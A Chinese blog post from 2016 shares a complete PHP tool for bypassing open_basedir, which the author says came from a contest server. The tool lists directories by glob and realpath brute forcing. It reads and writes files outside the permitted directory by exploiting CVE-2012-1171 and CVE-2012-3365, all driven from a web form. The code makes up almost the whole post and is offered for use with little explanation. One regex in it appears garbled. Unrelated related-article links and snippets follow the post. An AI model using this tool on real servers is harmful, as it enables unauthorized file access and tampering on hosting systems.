绕过open_basedir读文件脚本
2016年11月13日 01:28:21
阅读数:1221

参加了一场2016年的sycsec感觉又学到不少东西

废话不多说,首先啥是open_basedir?

open_basedir: 将用户可操作的文件限制在某目录下

具体的设置方法可以参考:http://blog.csdn.net/white__cat/article/details/32734343

这样设置之后,原则上被限制之外的目录是无法读写文件的,但是有一个漏洞却打破了这个限制

参考p牛的文章:https://www.leavesongs.com/bypass-open-basedir-readfile.html

但是p牛给的脚本报错,老是读不到文件,这里我在比赛服务器里面找到一个神器的脚本可以成功,下面是那个神奇的php:

[php] view plain copy
  1. <?php
  2. /*
  3. PHP open_basedir bypass collection
  4. Works with >= PHP5
  5. By /fd, @filedescriptor(https://twitter.com/filedescriptor)
  6. */
  7. // Assistant functions
  8. function getRelativePath($from, $to) {
  9. // some compatibility fixes for Windows paths
  10. $from = rtrim($from, '\/') . '/';
  11. $from = str_replace('\\', '/', $from);
  12. $to = str_replace('\\', '/', $to);
  13. $from = explode('/', $from);
  14. $to = explode('/', $to);
  15. $relPath = $to;
  16. foreach ($from as $depth => $dir) {
  17. // find first non-matching dir
  18. if ($dir === $to[$depth]) {
  19. // ignore this directory
  20. array_shift($relPath);
  21. } else {
  22. // get number of remaining dirs to $from
  23. $remaining = count($from) - $depth;
  24. if ($remaining > 1) {
  25. // add traversals up to first matching dir
  26. $padLength = (count($relPath) + $remaining - 1) * -1;
  27. $relPath = array_pad($relPath, $padLength, '..');
  28. break;
  29. } else {
  30. $relPath[0] = './' . $relPath[0];
  31. }
  32. }
  33. }
  34. return implode('/', $relPath);
  35. }
  36. function fallback($classes) {
  37. foreach ($classes as $class) {
  38. $object = new $class;
  39. if ($object->isAvailable()) {
  40. return $object;
  41. }
  42. }
  43. return new NoExploit;
  44. }
  45. // Core classes
  46. interface Exploitable {
  47. function isAvailable();
  48. function getDescription();
  49. }
  50. class NoExploit implements Exploitable {
  51. function isAvailable() {
  52. return true;
  53. }
  54. function getDescription() {
  55. return 'No exploit is available.';
  56. }
  57. }
  58. abstract class DirectoryLister implements Exploitable {
  59. var $currentPath;
  60. function isAvailable() {}
  61. function getDescription() {}
  62. function getFileList() {}
  63. function setCurrentPath($currentPath) {
  64. $this->currentPath = $currentPath;
  65. }
  66. function getCurrentPath() {
  67. return $this->currentPath;
  68. }
  69. }
  70. class GlobWrapperDirectoryLister extends DirectoryLister {
  71. function isAvailable() {
  72. return stripos(PHP_OS, 'win') === FALSE && in_array('glob', stream_get_wrappers());
  73. }
  74. function getDescription() {
  75. return 'Directory listing via glob pattern';
  76. }
  77. function getFileList() {
  78. $file_list = array();
  79. // normal files
  80. $it = new DirectoryIterator("glob://{$this->getCurrentPath()}*");
  81. foreach ($it as $f) {
  82. $file_list[] = $f->__toString();
  83. }
  84. // special files (starting with a dot(.))
  85. $it = new DirectoryIterator("glob://{$this->getCurrentPath()}.*");
  86. foreach ($it as $f) {
  87. $file_list[] = $f->__toString();
  88. }
  89. sort($file_list);
  90. return $file_list;
  91. }
  92. }
  93. class RealpathBruteForceDirectoryLister extends DirectoryLister {
  94. var $characters = 'abcdefghijklmnopqrstuvwxyz0123456789-_'
  95. , $extension = array()
  96. , $charactersLength = 38
  97. , $maxlength = 3
  98. , $fileList = array();
  99. function isAvailable() {
  100. return ini_get('open_basedir') && function_exists('realpath');
  101. }
  102. function getDescription() {
  103. return 'Directory listing via brute force searching with realpath function.';
  104. }
  105. function setCharacters($characters) {
  106. $this->characters = $characters;
  107. $this->charactersLength = count($characters);
  108. }
  109. function setExtension($extension) {
  110. $this->extension = $extension;
  111. }
  112. function setMaxlength($maxlength) {
  113. $this->maxlength = $maxlength;
  114. }
  115. function getFileList() {
  116. set_time_limit(0);
  117. set_error_handler(array(__CLASS__, 'handler'));
  118. $number_set = array();
  119. while (count($number_set = $this->nextCombination($number_set, 0)) <= $this->maxlength) {
  120. $this->searchFile($number_set);
  121. }
  122. sort($this->fileList);
  123. return $this->fileList;
  124. }
  125. function nextCombination($number_set, $length) {
  126. if (!isset($number_set[$length])) {
  127. $number_set[$length] = 0;
  128. return $number_set;
  129. }
  130. if ($number_set[$length] + 1 === $this->charactersLength) {
  131. $number_set[$length] = 0;
  132. $number_set = $this->nextCombination($number_set, $length + 1);
  133. } else {
  134. $number_set[$length]++;
  135. }
  136. return $number_set;
  137. }
  138. function searchFile($number_set) {
  139. $file_name = 'a';
  140. foreach ($number_set as $key => $value) {
  141. $file_name[$key] = $this->characters[$value];
  142. }
  143. // normal files
  144. realpath($this->getCurrentPath() . $file_name);
  145. // files with preceeding dot
  146. realpath($this->getCurrentPath() . '.' . $file_name);
  147. // files with extension
  148. foreach ($this->extension as $extension) {
  149. realpath($this->getCurrentPath() . $file_name . $extension);
  150. }
  151. }
  152. function handler($errno, $errstr, $errfile, $errline) {
  153. $regexp = '/File(.∗)(.∗) is not within/';
  154. preg_match($regexp, $errstr, $matches);
  155. if (isset($matches[1])) {
  156. $this->fileList[] = $matches[1];
  157. }
  158. }
  159. }
  160. abstract class FileWriter implements Exploitable {
  161. var $filePath;
  162. function isAvailable() {}
  163. function getDescription() {}
  164. function write($content) {}
  165. function setFilePath($filePath) {
  166. $this->filePath = $filePath;
  167. }
  168. function getFilePath() {
  169. return $this->filePath;
  170. }
  171. }
  172. abstract class FileReader implements Exploitable {
  173. var $filePath;
  174. function isAvailable() {}
  175. function getDescription() {}
  176. function read() {}
  177. function setFilePath($filePath) {
  178. $this->filePath = $filePath;
  179. }
  180. function getFilePath() {
  181. return $this->filePath;
  182. }
  183. }
  184. // Assistant class for DOMFileWriter & DOMFileReader
  185. class StreamExploiter {
  186. var $mode, $filePath, $fileContent;
  187. function stream_close() {
  188. $doc = new DOMDocument;
  189. $doc->strictErrorChecking = false;
  190. switch ($this->mode) {
  191. case 'w':
  192. $doc->loadHTML($this->fileContent);
  193. $doc->removeChild($doc->firstChild);
  194. $doc->saveHTMLFile($this->filePath);
  195. break;
  196. default:
  197. case 'r':
  198. $doc->resolveExternals = true;
  199. $doc->substituteEntities = true;
  200. $doc->loadXML("<!DOCTYPE doc [<!ENTITY file SYSTEM \"file://{$this->filePath}\">]><doc>&file;</doc>", LIBXML_PARSEHUGE);
  201. echo $doc->documentElement->firstChild->nodeValue;
  202. }
  203. }
  204. function stream_open($path, $mode, $options, &$opened_path) {
  205. $this->filePath = substr($path, 10);
  206. $this->mode = $mode;
  207. return true;
  208. }
  209. public function stream_write($data) {
  210. $this->fileContent = $data;
  211. return strlen($data);
  212. }
  213. }
  214. class DOMFileWriter extends FileWriter {
  215. function isAvailable() {
  216. return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
  217. }
  218. function getDescription() {
  219. return 'Write to and create a file exploiting CVE-2012-1171 (allow overriding). Notice the content should be in well-formed XML format.';
  220. }
  221. function write($content) {
  222. // set it to global resource in order to trigger RSHUTDOWN
  223. global $_DOM_exploit_resource;
  224. stream_wrapper_register('exploit', 'StreamExploiter');
  225. $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'w');
  226. fwrite($_DOM_exploit_resource, $content);
  227. }
  228. }
  229. class DOMFileReader extends FileReader {
  230. function isAvailable() {
  231. return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
  232. }
  233. function getDescription() {
  234. return 'Read a file exploiting CVE-2012-1171. Notice the content should be in well-formed XML format.';
  235. }
  236. function read() {
  237. // set it to global resource in order to trigger RSHUTDOWN
  238. global $_DOM_exploit_resource;
  239. stream_wrapper_register('exploit', 'StreamExploiter');
  240. $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'r');
  241. }
  242. }
  243. class SqliteFileWriter extends FileWriter {
  244. function isAvailable() {
  245. return is_writable(getcwd())
  246. && (extension_loaded('sqlite3') || extension_loaded('sqlite'))
  247. && (version_compare(phpversion(), '5.3.15', '<=') || (version_compare(phpversion(), '5.4.5', '<=') && PHP_MINOR_VERSION == 4));
  248. }
  249. function getDescription() {
  250. return 'Create a file with custom content exploiting CVE-2012-3365 (disallow overriding). Junk contents may be inserted';
  251. }
  252. function write($content) {
  253. $sqlite_class = extension_loaded('sqlite3') ? 'sqlite3' : 'SQLiteDatabase';
  254. mkdir(':memory:');
  255. $payload_path = getRelativePath(getcwd() . '/:memory:', $this->getFilePath());
  256. $payload = str_replace('\'', '\'\'', $content);
  257. $database = new $sqlite_class(":memory:/{$payload_path}");
  258. $database->exec("CREATE TABLE foo (bar STRING)");
  259. $database->exec("INSERT INTO foo (bar) VALUES ('{$payload}')");
  260. $database->close();
  261. rmdir(':memory:');
  262. }
  263. }
  264. // End of Core
  265. ?>
  266. <?php
  267. $action = isset($_GET['action']) ? $_GET['action'] : '';
  268. $cwd = isset($_GET['cwd']) ? $_GET['cwd'] : getcwd();
  269. $cwd = rtrim($cwd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
  270. $directorLister = fallback(array('GlobWrapperDirectoryLister', 'RealpathBruteForceDirectoryLister'));
  271. $fileWriter = fallback(array('DOMFileWriter', 'SqliteFileWriter'));
  272. $fileReader = fallback(array('DOMFileReader'));
  273. $append = '';
  274. ?>
  275. <style>
  276. #panel {
  277. height: 200px;
  278. overflow: hidden;
  279. }
  280. #panel > pre {
  281. margin: 0;
  282. height: 200px;
  283. }
  284. </style>
  285. <div id="panel">
  286. <pre id="dl">
  287. open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
  288. <form style="display:inline-block" action="">
  289. <fieldset><legend>Directory Listing:</legend>Current Directory: <input name="cwd" size="100" value="<?php echo $cwd; ?>"><input type="submit" value="Go">
  290. <?php if (get_class($directorLister) === 'RealpathBruteForceDirectoryLister'): ?>
  291. <?php
  292. $characters = isset($_GET['characters']) ? $_GET['characters'] : $directorLister->characters;
  293. $maxlength = isset($_GET['maxlength']) ? $_GET['maxlength'] : $directorLister->maxlength;
  294. $append = "&characters={$characters}&maxlength={$maxlength}";
  295. $directorLister->setMaxlength($maxlength);
  296. ?>
  297. Search Characters: <input name="characters" size="100" value="<?php echo $characters; ?>">
  298. Maxlength of File: <input name="maxlength" size="1" value="<?php echo $maxlength; ?>">
  299. <?php endif;?>
  300. Description      : <strong><?php echo $directorLister->getDescription(); ?></strong>
  301. </fieldset>
  302. </form>
  303. </pre>
  304. <?php
  305. $file_path = isset($_GET['file_path']) ? $_GET['file_path'] : '';
  306. ?>
  307. <pre id="rf">
  308. open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
  309. <form style="display:inline-block" action="">
  310. <fieldset><legend>Read File :</legend>File Path: <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Read">
  311. Description: <strong><?php echo $fileReader->getDescription(); ?></strong><input type="hidden" name="action" value="rf">
  312. </fieldset>
  313. </form>
  314. </pre>
  315. <pre id="wf">
  316. open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
  317. <form style="display:inline-block" action="">
  318. <fieldset><legend>Write File :</legend>File Path   : <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Write">
  319. File Content: <textarea cols="70" name="content"></textarea>
  320. Description : <strong><?php echo $fileWriter->getDescription(); ?></strong><input type="hidden" name="action" value="wf">
  321. </fieldset>
  322. </form>
  323. </pre>
  324. </div>
  325. <a href="#dl">Directory Listing</a> | <a href="#rf">Read File</a> | <a href="#wf">Write File</a>
  326. <hr>
  327. <pre>
  328. <?php if ($action === 'rf'): ?>
  329. <plaintext>
  330. <?php
  331. $fileReader->setFilePath($file_path);
  332. echo $fileReader->read();
  333. ?>
  334. <?php elseif ($action === 'wf'): ?>
  335. <?php
  336. if (isset($_GET['content'])) {
  337. $fileWriter->setFilePath($file_path);
  338. $fileWriter->write($_GET['content']);
  339. echo 'The file should be written.';
  340. } else {
  341. echo 'Something goes wrong.';
  342. }
  343. ?>
  344. <?php else: ?>
  345. <ol>
  346. <?php
  347. $directorLister->setCurrentPath($cwd);
  348. $file_list = $directorLister->getFileList();
  349. $parent_path = dirname($cwd);
  350. echo "<li><a href='?cwd={$parent_path}{$append}#dl'>Parent</a></li>";
  351. if (count($file_list) > 0) {
  352. foreach ($file_list as $file) {
  353. echo "<li><a href='?cwd={$cwd}{$file}{$append}#dl'>{$file}</a></li>";
  354. }
  355. } else {
  356. echo 'No files found. The path is probably not a directory.';
  357. }
  358. ?>
  359. </ol>
  360. <?php endif;?>

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/niexinming/article/details/53146095

绕过open_basedir读文件脚本的更多相关文章

  1. php5全版本绕过open_basedir读文件脚本

    这是前段时间写的代码了(http://www.weibo.com/1074745063/ByAPqj7s0),最近一直忙着和几个同学一起做非安全类的创业项目.所以也没拿到JAE.SAE测试一下. 不说 ...

  2. [转] Bash脚本:怎样一行行地读文件(最好和最坏的方法)

    用bash脚本读文件的方法有很多.请看第一部分,我使用了while循环及其后的管道命令(|)(cat $FILE | while read line; do … ),并在循环当中递增 i 的值,最后, ...

  3. php绕过open_basedir设置

    原理关于open_basedir    open_basedir是php.ini中的一个配置选项    它可将用户访问文件的活动范围限制在指定的区域,    假设open_basedir=/home/ ...

  4. GoLang几种读文件方式的比较

    GoLang提供了很多读文件的方式,一般来说常用的有三种.使用Read加上buffer,使用bufio库和ioutil 库. 那他们的效率如何呢?用一个简单的程序来评测一下: package main ...

  5. Python之路 day2 按行读文件

    #1. 最基本的读文件方法: # File: readline-example-1.py file = open("sample.txt") while 1: line = fil ...

  6. LoadRunner下载文件脚本

    LoadRunner下载文件脚本  在看普泽关于pezybase的测试报告的时候,发现里面有用到jmeter(http协议)并发测试下载文件,考虑到后面可能需要在公司pezybase的并发下载,把之前 ...

  7. java的读文件操作

    java读取文件内容,可以作如下理解: 首先获得一个文件句柄,File file = new File():file即为文件句柄.两人之间联通电话网络了,就可以开始打电话了. 通过这条线路读取甲方的信 ...

  8. PHP使用feof()函数读文件的方法

    这篇文章主要介绍了PHP使用feof()函数读文件的方法,以实例形式对比了正确与错误的用法,阐明了feof()函数的使用技巧,需要的朋友可以参考下 本文实例讲述了PHP使用feof()函数读文件的方法 ...

  9. Java基础之读文件——使用输入流读取二进制文件(StreamInputFromFile)

    控制台程序,读取Java基础之读文件部分(StreamOutputToFile)写入的50个fibonacci数字. import java.nio.file.*; import java.nio.* ...

随机推荐

  1. kafka集群安装配置

    1.下载安装包 2.解压安装包 3.进入到kafka的config目录修改server.properties文件 进入后显示如下: 修改log.dirs,基本上大部分都是默认配置 kafka依赖zoo ...

  2. go语言中在变量后加上接口是什么意思?

    如题刚刚开始学习go 语言有些不懂: a.Data = make(map[string]interface{}) 我认为它是在申请a.Data map为字符串类型的空间,那么它后面接一个空的inter ...

  3. UI Framework-1: Aura Layout Managers

    Layout Managers LayoutManager is a convenient abstraction that separates messy layout heuristics fro ...

  4. highGUI图形用户界面

    #include <opencv2\core\core.hpp> #include <opencv2\highgui\highgui.hpp> using namespace ...

  5. [Bug]Python3.x AttributeError: libtest.so: undefined symbol: fact

    写kNN,需要在python中实现kd-tree 思考了一下,在python下写这种算法类的东西,还是十分别扭 于是希望用ctypes调用一下c++动态加载库 于是尝试实现一下 // test.cpp ...

  6. [NOIP2014提高组]寻找道路

    题目:洛谷P2296.Vijos P1909.codevs3731.UOJ#19. 题目大意:给你一张有向图,边权为1,让你找一条s到t的最短路径,但这条路径上所有点的出边所指向的点都与终点连通.如果 ...

  7. 紫书 例题 10-20 UVa 10900(连续概率)

    分两类,当前第i题答或不答 如果不回答的话最大期望奖金为2的i次方 如果回答的话等于p* 下一道题的最大期望奖金 那么显然我们要取最大值 所以就要分类讨论 我们设答对i题后的最大期望奖金为d[i] 显 ...

  8. 【Codeforces Round #423 (Div. 2) A】Restaurant Tables

    [Link]:http://codeforces.com/contest/828/problem/A [Description] 有n个组按照时间顺序来餐馆; 每个组由一个人或两个人组成; 每当有一个 ...

  9. Runtime类中的freeMemory,totalMemory,maxMemory等几个方法

    最近在网上看到一些人讨论到Java.lang.Runtime类中的freeMemory(),totalMemory(),maxMemory ()这几个方法的一些题目,很多人感到很迷惑,为什么,在jav ...

  10. android CoordinatorLayout使用

    一.CoordinatorLayout有什么作用 CoordinatorLayout作为“super-powered FrameLayout”基本实现两个功能: 1.作为顶层布局 2.调度协调子布局 ...